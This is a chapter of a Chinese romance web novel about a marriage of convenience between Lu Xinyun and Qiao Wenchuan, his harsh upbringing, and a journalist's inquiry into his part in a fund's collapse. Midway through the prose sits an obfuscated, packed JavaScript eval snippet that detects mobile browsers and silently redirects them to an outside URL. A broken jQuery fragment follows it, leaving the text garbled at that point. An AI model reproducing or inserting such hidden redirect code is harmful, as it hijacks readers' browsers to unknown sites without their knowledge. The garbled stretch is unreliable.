凌晨三点钟,夜色正浓,森冷月光照得花墙白苍苍。风铃不响,飞虫不鸣,世界安静如荒原。
两扇窗,三米距离,加两道茉莉花帘,将他们隔得迢远。
陆歆蕴抬头,透过密织的花藤,望一望对面窗子里沉默的人。
对方过分平静的表情使她忐忑不安。
“你一点都不惊讶?”
乔闻川微笑摇头。
“也不想问我什么?”
他想了想,只问她为什么不跟他提离婚。
“你想听实话吗?”
“你有权利不回答。”
“唉,你这样好的人……”陆歆蕴失笑,“谁能忍心欺骗你。”
名正言顺的丈夫和虚无缥缈的艳遇,踏实稳定的婚姻和注定无果的爱情,以及陆家和乔家的多年交情,她将考量与权衡据实以告,坦白自己选择回归婚姻的原因。
“当初决定跟你结婚,本就是奔着细水长流去的。你是非常不错的丈夫人选,我想假以时日,不说爱得刻骨铭心,至少我会特别喜欢你。而且我认为,我们能以相当愉快的方式共度余生。”
“可惜婚后你就撇下我出国,我们积累的一点感情基础消耗殆尽,今年再见,我都没能认出你来。所以那天晚上你拿着避孕套进来,快把我吓死了。”
乔闻川掩唇低咳:“是诗浅塞给我的。”
“你也不想和我……?”
“嗯。”
说的是否定彼此魅力、对对方不感性趣的话,却莫名其妙地各自红了脸。
陆歆蕴翻回正题:“现在你知道你的太太心里有别人,还愿意和她继续这段婚姻吗?”
她慷慨地交出选择权。反正无论离婚与否,都不会太吃亏。她又不喜欢他。
心下盘算着,见乔闻川双臂枕着窗框,身子略探出窗口,迎上她透过茉莉花枝望来的目光。
寂寂春夜,月下花前,静止良久的风铃又因风动。
叮铃,叮铃。
她必须承认,心里隐约期待其中一个答案。
“歆蕴,我们婚前接触不多,婚后也没来得及好好了解。我相貌平平,不足以令你倾心……”
“等等!”陆歆蕴忍不住挥手打断,挑起眼睛将他从头到脚打量一遍,语气幽幽,“乔先生,你对自己的皮囊……有什么误解吗?”
“嗯?”一双盛满月光的眼睛荡了荡。
陆歆蕴俏皮地wink:“我是说,你的美貌长在我审美点上。”
想必没少应付类似的赞美,他从善如流:“我的荣幸。”
接着回归正题:“此前我们是空有夫妻虚名的泛泛之交,你被优秀的男人吸引很正常,我不介意。但我不清楚,接下来我们相处的边界在哪里。”
他们曾约定,先培养感情再谈别的,但一直未曾明确界线。只是自然地相处,形成如今这种冠着夫妻之名的朋友关系。
“就像今夜之前那样,顺其自然地相处。”陆歆蕴把话说得暧昧,“也许我会忘记他爱上你呢?乔先生,我不排斥和你有可能。”
回应她的是长久的沉默。如此直白的撩拨令乔闻川应接不暇。
看他羞涩窘迫还强装淡定的样子,某种带有捉弄性的欲望袭来——想飞到他身边,摘一朵窗边的白茉莉别在他耳侧,让它被他耳根绯色染成红山茶。
“不早了,歆蕴小姐早点休息。”乔闻川落荒而逃。
“好。”陆歆蕴挥挥手,“乔先生晚安。”
*
“也许我会忘记他爱上你呢。”
“也许——我会忘记他——爱上你呢。”
那句话连同那张脸在脑海中挥之不去。
乍听怦然,细思后怕。
乔闻川频繁深呼吸,对天花板吹口气,悬浮脸上的七彩泡泡迸裂,装在里面的那张脸随之消失。
手机震动,歆蕴给他分享了一首歌。
急需一点声音驱逐循环播放的话,他点开链接,歌声潺潺入耳。
HowmanytimesdoIhavetosay
I''mfallin''inlovemoreeveryday
……
GimmeyourhandI''llholdittight
WillyoubetheoneI''llspendmylife
……
枕着缠绵乐声辗转,左琵琶骨轧在床上,伤疤隐隐作痛。
疤痕里封印着一个小男孩,想获得成功,成为优秀卓越的人,过上幸福美满的人生。
这夜乔闻川做了场梦。
初中持续三天的期末考试,第一天结束当晚,乔诗浅在晚自习课间来找他。
一见面话也不说,眼泪吧嗒吧嗒掉。问怎么回事,她抽抽嗒嗒哭诉:语文作文没写完,数学后一道大题不会做,这次绝对考砸。
“哥,我连着三个假期去补习,再补我要死了。”
乔闻川了然,但只是帮她擦干眼泪,鼓励她认真备考剩余科目。
接下来两天考试,他故意犯低级错误,还在生物答题卡上错位填答案。最后成绩出来比预估的差,掉出年级前三十名。
母亲大发雷霆,拿起荆条朝他背上抽。乔诗浅回家见他被打,立刻扑过来,瘦小的身躯护住他宽阔的脊背。
“哥哥只是一次考差而已,你想打死他吗?”
乔诗浅吼出他心里的疑惑:“这几张破卷子上的分数能代表什么!我们又不要通过应试教育鱼跃龙门,我就搞不懂了,你到底为什么看重这几个数字。”
“我不允许你们变成我人生的败笔。”这就是母亲的答案。
母亲在事业上从无败绩,她在他们身上投入很多的钱和爱,因此他们不具有平庸的资格。
他们姓乔,熔金铸骨镀银为肤,生来注定流下锈蚀的泪。
*
次日清晨,陆歆蕴走进餐厅不见乔闻川。
方姨说:“先生十分钟前出门了。”
她点头,没说什么,心里却直犯嘀咕。
难道他因为昨晚的事,刻意和她保持距离?
可不是说好照常相处么?
压下满腹疑惑吃完早餐,甫进报社,收到尹乘消息问事情进展。她给准信说今晚一定有答复,但放下手机就开始犯愁。
劝资本家让利,相当于在老虎身上拔毛,必须慎之又慎。
对乔闻川的了解仅限于日常生活,陆歆蕴不清楚他工作是什么样子,会不会像乔熠臻那样利益至上六亲不认?
输入他的姓名搜索,给出的信息少得可怜。登入内网检索,搜不到任何信息。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202800|197263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
堂堂君御总裁,竟然没有接受过人物访谈?
陆歆蕴枕着胳膊思忖。
叮!头顶跳出小灯泡。
“青虹基金?”沐苏睇她一眼,“你打听七、八年前的事做什么?”
“哎呀你跟我说说嘛!我看好几篇报道都是你写的,不会有人比你更了解了。”陆歆蕴端坐,像好学生睁大好奇的眼睛专心听讲。
沐苏扶脑门回想:“说起青虹基金,不得不提起另一家公司唐茶……”
青虹基金首个投资的大项目是唐茶,唐茶拿着这笔投资,短短几年内做大做强,成为茶饮界中流砥柱。唐茶成功给青虹基金回馈巨大利润,也带动青虹基金声名鹊起。
涌入青虹基金的基民越来越多,青虹给唐茶的投资也越来越多,可惜好景不长。不久后有小道媒体曝光唐茶财务造假——通过跳号夸大销量、虚报广告费填补跳号收益等手段,营造唐茶无比赚钱的假象以吸引投资。
事情愈演愈烈,唐茶风评一落千丈。
与此同时,唐茶爆雷引起青虹基民恐慌,大批基民要求调回基金,但青虹财务亏空无法兑现,矛盾一触即发。恰在此时,官媒沥江晚报金融栏目曝青虹“庞氏骗局”,给青虹致命一击。
最后青虹基金破产,其创始人童绍入狱。
陆歆蕴听完一脸懵:“这事和乔闻川有什么关系?”
沐苏无奈:“我说的是官方版本的事件始末,你老公是在背后推波助澜。”
“首个怀疑唐茶财务造假的人,是当时君御的财务总监乔闻川助理,也即现在的总助周略。给我们提供青虹金融诈骗证据的,也是他。”
“不得不说,你老公是真的狠。”沐苏竖起大拇指,“童绍是他朋友,创立青虹他还投了钱的,结果转手就把人送进去了。”
“可童绍确实犯了罪,不然乔闻川怎么能送他进去。”嘴上这样说,但陆歆蕴听完愁上加愁。乔闻川连自己朋友都能大义灭亲,又岂会为她远房表哥徇私?
忧心忡忡一整天,回到家,新的家庭成员迈着小短腿跑来迎接。
烦恼瞬间抛出九霄云外,陆歆蕴抱起小猫,轻抚毛茸茸的小脸蛋。小猫探出舌头舔她手指,冲她喵喵叫。
“面面是不是饿啦?”
“喵喵喵~”
把面面放回小窝,去厨房端出一杯牛奶,出来正好碰见乔闻川。
四目相对,她握紧玻璃杯,生硬地错开视线。
“歆蕴。”
“哎。”
他照常问候,她应声,不看他,继续朝猫舍走。
“小猫不能喝牛奶。”
“啊?”陆歆蕴止步回头,对上他严肃认真的表情,翻出手机查。还真是不能喝牛奶,可她刚刚已经喝过一杯。
“你……喝不喝?”她将牛奶往乔闻川面前递。
他道谢,伸手来接,冰冰凉凉的东西磕上食指。陆歆蕴凝眸看去,被他无名指上的婚戒晃了眼。
泠泠冷光衬得五指白净如玉,淡蓝色筋络在手背上蜿蜒,因握住杯子的动作而血管浮突。
这只性感的手别样动人,她情不自禁盯着瞧,想象这只手以哪种角度出现在镜头下,才能最大程度展示它的美。
乔闻川未曾察觉她走神,径自酝酿了半晌,沉吟道:“歆蕴,我想向你借点钱。”